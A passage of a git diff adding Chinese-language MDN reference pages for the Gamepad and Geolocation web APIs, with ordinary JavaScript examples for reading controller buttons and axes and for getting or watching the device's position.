+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads) {
+    return;
+  }
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if (buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if (buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a * 2 + "px";
+  ball.style.top = b * 2 + "px";
+
+  start = requestAnimationFrame(gameLoop);
+}
+ +

使用坐标方向(axes)信息

+ +

待讨论 (除了一个用 axes[i] 一个用 button[i].value ,其他基本一样,Firefox 与 Chrome均是。)

+ +

完整的例子:显示控制器状态

+ +

这个例子展示了怎样使用 {{ domxref("Gamepad") }} 对象,还有 {{ event("gamepadconnected") }} 和 {{ event("gamepaddisconnected") }} 事件显示所有已连接到系统的控制器的状态。你可以查看在线演示并且可在Github上看到完整的源代码

+ +
var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad;
+
+  var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("控制器:" + gamepad.id));
+  d.appendChild(t);
+
+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i = 0; i < gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+
+  d.appendChild(b);
+
+  var a = document.createElement("div");
+  a.className = "axes";
+
+  for (var i = 0; i < gamepad.axes.length; i++) {
+    var p = document.createElement("progress");
+    p.className = "axis";
+    //p.id = "a" + i;
+    p.setAttribute("max", "2");
+    p.setAttribute("value", "1");
+    p.innerHTML = i;
+    a.appendChild(p);
+  }
+
+  d.appendChild(a);
+
+  // 见 https://github.com/luser/gamepadtest/blob/master/index.html
+  var start = document.getElementById("start");
+  if (start) {
+    start.style.display = "none";
+  }
+
+  document.body.appendChild(d);
+  requestAnimationFrame(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+
+  var i = 0;
+  var j;
+
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+
+    for (i = 0; i < controller.buttons.length; i++) {
+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+
+      var pct = Math.round(val * 100) + "%";
+      b.style.backgroundSize = pct + " " + pct;
+
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (i = 0; i < controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+
+  requestAnimationFrame(updateStatus);
+}
+
+function scangamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (gamepads[i].index in controllers) {
+        controllers[gamepads[i].index] = gamepads[i];
+      } else {
+        addgamepad(gamepads[i]);
+      }
+    }
+  }
+}
+
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+if (!haveEvents) {
+  setInterval(scangamepads, 500);
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}{{Spec2("Gamepad")}}Initial defintion
+ +

浏览器兼容性

+ + + +

{{Compat("api.Gamepad")}}

+ +

 

diff --git a/files/zh-cn/web/api/gamepadbutton/index.html b/files/zh-cn/web/api/gamepadbutton/index.html new file mode 100644 index 0000000000..733a39da57 --- /dev/null +++ b/files/zh-cn/web/api/gamepadbutton/index.html @@ -0,0 +1,85 @@ +--- +title: GamepadButton +slug: Web/API/GamepadButton +translation_of: Web/API/GamepadButton +--- +
{{APIRef("Gamepad API")}}
+ +

GamepadButton 接口定义了在一个手柄或其他控制器的唯一的一个按键,允许访问不同控制器设备可用类型的按钮的当前状态。

+ +

GamepadButton 对象是由 {{domxref("Gamepad")}} 接口的 buttons 属性返回的可查询任意值的数组返回的。

+ +
+

注:上述情况是在 Firefox Gecko 28 及以上的;Chrome 和较早版本的 Firefox 访问此属性时仍然会返回一个双精浮点值的数组。

+
+ +

属性

+ +
+
{{domxref("GamepadButton.value")}} {{readonlyInline}}
+
一个用来表示按钮当前状态的双精浮点值,比如说许多现代控制器都有的扳机键。其值被规范至范围 0.0 —1.0 之间,其中 0.0 表示按钮没有被按下,而 1.0 表示按钮被完全按下 (按到底)。
+
{{domxref("GamepadButton.pressed")}} {{readonlyInline}}
+
一个指示当前按钮是被按下 (true) 还是没有被按下 (false) 的布尔值。
+
+ +

示例

+ +

接下来的代码来自于我 (文作者) 的 Gamepad API 按钮示例 (你可以在线查看示例,并在 Github 上查找源代码。) 注意代码分支——在 Chrome 中{{domxref("Navigator.getGamepads")}} 需要一个 webkit 前缀并且按钮值被存储为一个双精浮点值的数组,然而在 Firefox 中 {{domxref("Navigator.getGamepads")}} 不需要前缀,且按钮值被存储为 {{domxref("GamepadButton")}} 对象数组;其中有我们需要的  {{domxref("GamepadButton.value")}} 或 {{domxref("GamepadButton.pressed")}} 属性,这取决于他们是什么类型的按钮。在这个简单的示例中我只是允许了它们。

+ +
function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value > 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = rAF(gameLoop);
+};
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Gamepad", "#gamepadbutton-interface", "GamepadButton")}}{{Spec2("Gamepad")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.GamepadButton")}}

+ +

另请参阅

+ +

使用 Gamepad API

diff --git a/files/zh-cn/web/api/gamepadbutton/pressed/index.html b/files/zh-cn/web/api/gamepadbutton/pressed/index.html new file mode 100644 index 0000000000..9126b26ddb --- /dev/null +++ b/files/zh-cn/web/api/gamepadbutton/pressed/index.html @@ -0,0 +1,52 @@ +--- +title: GamepadButton.pressed +slug: Web/API/GamepadButton/pressed +translation_of: Web/API/GamepadButton/pressed +--- +

{{APIRef("Gamepad API")}}

+ +

{{domxref("GamepadButton")}}接口下的 GamepadButton.pressed 属性返回一个表示按钮当然是被按下了 (true) 还是没有被按下 (false) 的布尔值。

+ +

语法

+ +
var isPressed = navigator.getGamepads()[0].pressed;
+
+ +

示例

+ +
var gp = navigator.getGamepads()[0]; // 获取第一个控制器对象
+
+if(gp.buttons[0].pressed == true) {
+  // 响应按钮按下
+}
+ +

+ +

一个 {{domxref("boolean")}} (布尔值)。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Gamepad", "#widl-GamepadButton-pressed", "GamepadButton.pressed")}}{{Spec2("Gamepad")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.GamepadButton.pressed")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/gamepadbutton/value/index.html b/files/zh-cn/web/api/gamepadbutton/value/index.html new file mode 100644 index 0000000000..a7c83775a8 --- /dev/null +++ b/files/zh-cn/web/api/gamepadbutton/value/index.html @@ -0,0 +1,53 @@ +--- +title: GamepadButton.value +slug: Web/API/GamepadButton/value +translation_of: Web/API/GamepadButton/value +--- +

{{APIRef("Gamepad API")}}

+ +

{{domxref("GamepadButton")}}接口下的 GamepadButton.value 属性返回一个双精浮点值来表示许多现代控制器上的模拟按钮的状态,比如说扳机键。

+ +

其值被规范于范围 0.01.0 内, 0.0 表示按钮没有被按下,1.0 则表示按钮被完全按下。

+ +

语法

+ +
var pressState = navigator.getGamepads()[0].value;
+// 只读属性、双精浮点值
+
+ +

示例

+ +
var gp = navigator.getGamepads()[0];
+
+if(gp.buttons[0].value > 0) {
+  // 响应模拟按钮被按下
+} 
+ +

+ +

一个 {{domxref("double")}} (双精浮点值)。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Gamepad", "#widl-GamepadButton-value", "GamepadButton.value")}}{{Spec2("Gamepad")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.GamepadButton.value")}}

+ +

另请参阅

+ +

使用 Gamepad API

diff --git a/files/zh-cn/web/api/gamepadevent/gamepad/index.html b/files/zh-cn/web/api/gamepadevent/gamepad/index.html new file mode 100644 index 0000000000..98e2d27351 --- /dev/null +++ b/files/zh-cn/web/api/gamepadevent/gamepad/index.html @@ -0,0 +1,51 @@ +--- +title: GamepadEvent.gamepad +slug: Web/API/GamepadEvent/gamepad +translation_of: Web/API/GamepadEvent/gamepad +--- +
{{APIRef("Gamepad API")}}
+ +

{{domxref("GamepadEvent")}} interface 的 GamepadEvent.gamepad 属性返回一个 {{domxref("Gamepad")}} 对象,为触发 {{event("gamepadconnected")}} 和{{event("gamepaddisconnected")}} 事件提供相关联控制器数据的访问。

+ +

语法

+ +
只读 属性 Gamepad gamepad;
+ +

示例

+ +

在触发的 {{domxref("Window.gamepadconnected")}} 事件上调用 gamepad 属性。

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("控制器已连接于 %d 位:%s. %d 个按钮, %d 个坐标方向。",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+ +

+ +

一个 {{domxref("Gamepad")}} 对象。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Gamepad", "#widl-GamepadEvent-gamepad", "GamepadEvent.gamepad")}}{{Spec2("Gamepad")}}初始定义
+ +

浏览器兼容性

+ +

{{Compat("api.GamepadEvent.gamepad")}}

+ +

另请参阅

+ +

使用 Gamepad API

diff --git a/files/zh-cn/web/api/gamepadevent/gamepadevent/index.html b/files/zh-cn/web/api/gamepadevent/gamepadevent/index.html new file mode 100644 index 0000000000..3fd374433c --- /dev/null +++ b/files/zh-cn/web/api/gamepadevent/gamepadevent/index.html @@ -0,0 +1,50 @@ +--- +title: GamepadEvent() +slug: Web/API/GamepadEvent/GamepadEvent +translation_of: Web/API/GamepadEvent/GamepadEvent +--- +

{{APIRef("Gamepad API")}}

+ +

GamepadEvent_ 构造函数用于创建一个新的 {{domxref("GamepadEvent")}} 对象。

+ +

语法

+ +
var gamepadEvent = new GamepadEvent(typeArg, options)
+ +

参数

+ +
+
typeArg
+
一个 {{domxref("DOMString")}} ,必须为 gamepadconnected 或 gamepaddisconnected
+
options {{optional_inline}}
+
选项如下所示: +
    +
  • gamepad: 一个 {{domxref("Gamepad")}} 实例,描述了与事件相关的控制器(对象)。
  • +
+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Gamepad','#gamepadevent-interface','GamepadEvent_')}}{{Spec2('Gamepad')}}初始定义
+ +

浏览器兼容性

+ +

 

+ + + +

{{Compat("api.Gamepad.Gamepad")}}

diff --git a/files/zh-cn/web/api/gamepadevent/index.html b/files/zh-cn/web/api/gamepadevent/index.html new file mode 100644 index 0000000000..6e2927bd82 --- /dev/null +++ b/files/zh-cn/web/api/gamepadevent/index.html @@ -0,0 +1,64 @@ +--- +title: GamepadEvent +slug: Web/API/GamepadEvent +translation_of: Web/API/GamepadEvent +--- +

{{APIRef("Gamepad API")}}

+ +

Gamepad API 的 GamepadEvent 接口包含对连接到系统的控制器的引用,这也是 gamepad 事件events {{domxref("Window.gamepadconnected")}} 与 {{domxref("Window.gamepaddisconnected")}} 被触发时响应的内容。

+ +

构造函数

+ +
+
{{domxref("GamepadEvent.GamepadEvent","GamepadEvent()")}}
+
返回一个新的 GamepadEvent 对象。
+
+ +

属性

+ +
+
{{ domxref("GamepadEvent.gamepad") }} {{readonlyInline}}
+
返回一个 {{ domxref("Gamepad") }} 对象,提供触发事件的控制器数据的访问。
+
+ +

示例

+ +

在触发的 {{domxref("Window.gamepadconnected")}} 事件上调用控制器属性。

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("控制器已连接于 %d 位:%s。 %d 个按键,%d 个坐标方向。",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+ +

与 {{domxref("Window.gamepaddisconnected")}} 事件上的。

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("控制器已从 %d 位断开:%s",
+  e.gamepad.index, e.gamepad.id);
+});
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Gamepad", "#gamepadevent-interface", "GamepadEvent")}}{{Spec2("Gamepad")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.GamepadEvent")}}

+ +

另请参阅

+ +

使用 Gamepad API

diff --git a/files/zh-cn/web/api/gamepadpose/index.html b/files/zh-cn/web/api/gamepadpose/index.html new file mode 100644 index 0000000000..73d0942849 --- /dev/null +++ b/files/zh-cn/web/api/gamepadpose/index.html @@ -0,0 +1,63 @@ +--- +title: GamepadPose +slug: Web/API/GamepadPose +translation_of: Web/API/GamepadPose +--- +
{{APIRef("Gamepad API")}}{{SeeCompatTable}}
+ +

Gamepad API的接口GamepadPose 表示WebVR的控制者在某个给定时间点的姿势, (包括方向、位置、速率、加速度信息)

+ +

这个接口通过 {{domxref("Gamepad.pose")}} 属性使用。

+ +

属性

+ +
+
{{domxref("GamepadPose.hasOrientation")}} {{readonlyInline}}
+
Returns a boolean indicating whether the gamepad is capable of returning orientation information (true) or not (false).
+
{{domxref("GamepadPose.hasPosition")}} {{readonlyInline}}
+
Returns a boolean indicating whether the gamepad is capable of returning position information (true) or not (false).
+
{{domxref("GamepadPose.position")}} {{readonlyInline}}
+
Returns the position of the {{domxref("Gamepad")}} as a 3D vector.
+
{{domxref("GamepadPose.linearVelocity")}} {{readonlyInline}}
+
Returns the linear velocity of the {{domxref("Gamepad")}}, in meters per second.
+
{{domxref("GamepadPose.linearAcceleration")}} {{readonlyInline}}
+
Returns the linear acceleration of the {{domxref("Gamepad")}}, in meters per second per second.
+
{{domxref("GamepadPose.orientation")}} {{readonlyInline}}
+
Returns the orientation of the {{domxref("Gamepad")}}, as a quarternion value.
+
{{domxref("GamepadPose.angularVelocity")}} {{readonlyInline}}
+
Returns the angular velocity of the {{domxref("Gamepad")}}, in radians per second.
+
{{domxref("GamepadPose.angularAcceleration")}} {{readonlyInline}}
+
Returns the angular acceleration of the {{domxref("Gamepad")}}, in meters per second per second.
+
+ +

Examples

+ +

TBD.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('GamepadExtensions', '#gamepadpose-interface', 'GamepadPose')}}{{Spec2('GamepadExtensions')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.GamepadPose")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/geolocation/clearwatch/index.html b/files/zh-cn/web/api/geolocation/clearwatch/index.html new file mode 100644 index 0000000000..aea6a4632c --- /dev/null +++ b/files/zh-cn/web/api/geolocation/clearwatch/index.html @@ -0,0 +1,134 @@ +--- +title: Geolocation.clearWatch() +slug: Web/API/Geolocation/clearWatch +translation_of: Web/API/Geolocation/clearWatch +--- +

{{ APIref("Geolocation API") }}

+ +

Geolocation.clearWatch()这个方法主要用于使用 {{domxref("Geolocation.watchPosition()")}} 注册的 位置/错误 监听器。

+ +

语法

+ +
navigator.geolocation.clearWatch(id);
+ +

参数

+ +
+
id
+
希望移除的监听器所对应的 {{domxref("Geolocation.watchPosition()")}} 返回的 ID 数字。
+
+ +

示例

+ +
var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/geolocation/getcurrentposition/index.html b/files/zh-cn/web/api/geolocation/getcurrentposition/index.html new file mode 100644 index 0000000000..27b99b28e7 --- /dev/null +++ b/files/zh-cn/web/api/geolocation/getcurrentposition/index.html @@ -0,0 +1,134 @@ +--- +title: Geolocation.getCurrentPosition() +slug: Web/API/Geolocation/getCurrentPosition +tags: + - API + - Geolocation + - Geolocation API + - Method + - NeedsExample + - Reference +translation_of: Web/API/Geolocation/getCurrentPosition +--- +

{{ APIRef("Geolocation API") }}

+ +

Geolocation.getCurrentPosition() 方法用来获取设备当前位置。

+ +

语法

+ +
navigator.geolocation.getCurrentPosition(success, error, options)
+ +

参数

+ +
+
success
+
成功得到位置信息时的回调函数,使用{{domxref("Position")}} 对象作为唯一的参数。 
+
error {{optional_inline}}
+
获取位置信息失败时的回调函数,使用 {{domxref("PositionError")}} 对象作为唯一的参数,这是一个可选项。 
+
options {{optional_inline}}
+
一个可选的{{domxref("PositionOptions")}} 对象。
+
+ +

实例

+ +
var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Your current position is:');
+  console.log('Latitude : ' + crd.latitude);
+  console.log('Longitude: ' + crd.longitude);
+  console.log('More or less ' + crd.accuracy + ' meters.');
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+
+ +

标准

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

请参考

+ + diff --git a/files/zh-cn/web/api/geolocation/index.html b/files/zh-cn/web/api/geolocation/index.html new file mode 100644 index 0000000000..78cf3c6dc5 --- /dev/null +++ b/files/zh-cn/web/api/geolocation/index.html @@ -0,0 +1,117 @@ +--- +title: Geolocation +slug: Web/API/Geolocation +tags: + - API + - Geolocation API + - 参考 + - 安全上下文 + - 接口 + - 高级 +translation_of: Web/API/Geolocation +--- +
{{APIRef}}
+ +

Geolocation 接口是一个用来获取设备地理位置的可编程的对象,它可以让Web内容访问到设备的地理位置,这将允许Web应用基于用户的地理位置提供定制的信息。说实话:其实Geolocation 就是用来获取到当前设备的经纬度(位置)

+ +

带有此接口的对象可以用由 {{domxref("Navigator")}}实现的属性{{domxref("NavigatorGeolocation.geolocation")}} 来获得。  

+ +
+

注意:出于安全考虑,当一个Web页尝试获取地理位置信息时,会请求用户批准地理位置访问权限。要知道每个浏览器都有自己请求用户批准该权限的策略和方法。

+
+ +

属性

+ +

Geolocation 接口不实现,也不继承任何属性。

+ +

方法

+ +

Geolocation 接口不继承任何方法。

+ +
+
{{domxref("Geolocation.getCurrentPosition()")}}
+
确定设备的位置并返回一个携带位置信息的 {{domxref("Position")}} 对象。
+
{{domxref("Geolocation.watchPosition()")}}
+
注册一个位置改变监听器,每当设备位置改变时,返回一个 long 类型的该监听器的ID值。
+
{{domxref("Geolocation.clearWatch()")}}
+
取消由 watchPosition()注册的位置监听器。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持5{{CompatGeckoDesktop("1.9.1")}}910.60
+ 15.0取消支持
+ 16.0重新支持
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/geolocation/using_geolocation/index.html b/files/zh-cn/web/api/geolocation/using_geolocation/index.html new file mode 100644 index 0000000000..54d8665516 --- /dev/null +++ b/files/zh-cn/web/api/geolocation/using_geolocation/index.html @@ -0,0 +1,303 @@ +--- +title: 使用地理位置定位 +slug: Web/API/Geolocation/Using_geolocation +tags: + - 地理位置 API + - 指南 +translation_of: Web/API/Geolocation_API +--- +

地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

+ +

geolocation 对象

+ +

地理位置 API 通过 {{domxref("NavigatorGeolocation.geolocation","navigator.geolocation")}} 提供。

+ +

如果该对象存在,那么地理位置服务可用。

+ +
if ("geolocation" in navigator) {
+  /* 地理位置服务可用 */
+} else {
+  /* 地理位置服务不可用 */
+}
+
+ +
+

注意: 在 Firefox 24 和之前的浏览器中,即使 API 被禁止,代码 "geolocation" in navigator 也总是会得到 true。这在 Firefox 25 中已经被修复 ({{ bug(884921) }})。

+
+ +

获取当前定位

+ +

您可以调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数获取用户当前定位位置。这会异步地请求获取用户位置,并查询定位硬件来获取最新信息。当定位被确定后,定义的回调函数就会被执行。您可以选择性地提供第二个回调函数,当有错误时会被执行。第三个参数也是可选的,您可以通过该对象参数设定最长可接受的定位返回时间、等待请求的时间和是否获取高精度定位。

+ +
+

注意: 默认情况下,{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会尽快返回一个低精度结果,这在您不关心准确度只关心快速获取结果的情况下很有用。有 GPS 的设备可能需要一分钟或更久来获取 GPS 定位,在这种情况下 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会返回低精度数据(基于 IP 的定位或 Wi-Fi 定位)。

+
+ +
navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

上述示例中,当获取位置后 do_something() 函数会被执行。

+ +

监视定位

+ +

您可以设定一个回调函数来响应定位数据发生的变更(设备发生了移动,或获取到了更高精度的地理位置信息)。您可以通过 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数实现该功能。它与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 接受相同的参数,但回调函数会被调用多次。错误回调函数与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 中一样是可选的,也会被多次调用。

+ +
+

注意: 您可以直接调用 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数,不需要先调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数。

+
+ +
var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

{{domxref("Geolocation.watchPosition","watchPosition()")}} 函数会返回一个 ID,唯一地标记该位置监视器。您可以将这个 ID 传给 {{domxref("Geolocation.clearWatch()","clearWatch()")}} 函数来停止监视用户位置。

+ +
navigator.geolocation.clearWatch(watchID);
+
+ +

调整返回结果

+ +

{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 和 {{domxref("Geolocation.watchPosition","watchPosition()")}} 都接受一个成功回调、一个可选的失败回调和一个可选的 PositionOptions 对象。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionOptions")}}

+ +

对 {{domxref("Geolocation.watchPosition()","watchPosition")}} 的调用类似于这样:

+ +
function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
+ +

watchPosition 实际使用示例: http://www.thedotproduct.org/experiments/geo/

+ +

描述位置

+ +

用户的位置由一个包含 Coordinates 对象的 Position 对象描述。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Position")}}

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Coordinates")}}

+ +

处理错误

+ +

getCurrentPosition()watchPosition() 的错误回调函数以 PositionError 为第一个参数。

+ +
function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+
+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionError")}}

+ +

地理位置示例

+ + + +

HTML

+ +
<p><button onclick="geoFindMe()">Show my location</button></p>
+<div id="out"></div>
+ +

 

+ +
 
+ +

JavaScript

+ +
function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "<p>您的浏览器不支持地理位置</p>";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
+
+    var img = new Image();
+    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
+
+    output.appendChild(img);
+  };
+
+  function error() {
+    output.innerHTML = "无法获取您的位置";
+  };
+
+  output.innerHTML = "<p>Locating…</p>";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+
+ +

在线示例

+ +

{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}

+ +

授权请求

+ +

所有 addons.mozilla.org 上需要使用地理位置的插件必须在使用 API 前显式地请求权限。用户的响应将会存储在 pref 参数指定的偏好设置中。callback 参数指定的函数会被调用并包含一个代表用户响应的 boolean 参数。如果为 true,代表插件可以访问地理位置数据。

+ +
function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+
+ +

浏览器兼容性

+ +
{{ CompatibilityTable() }}
+ +
 
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
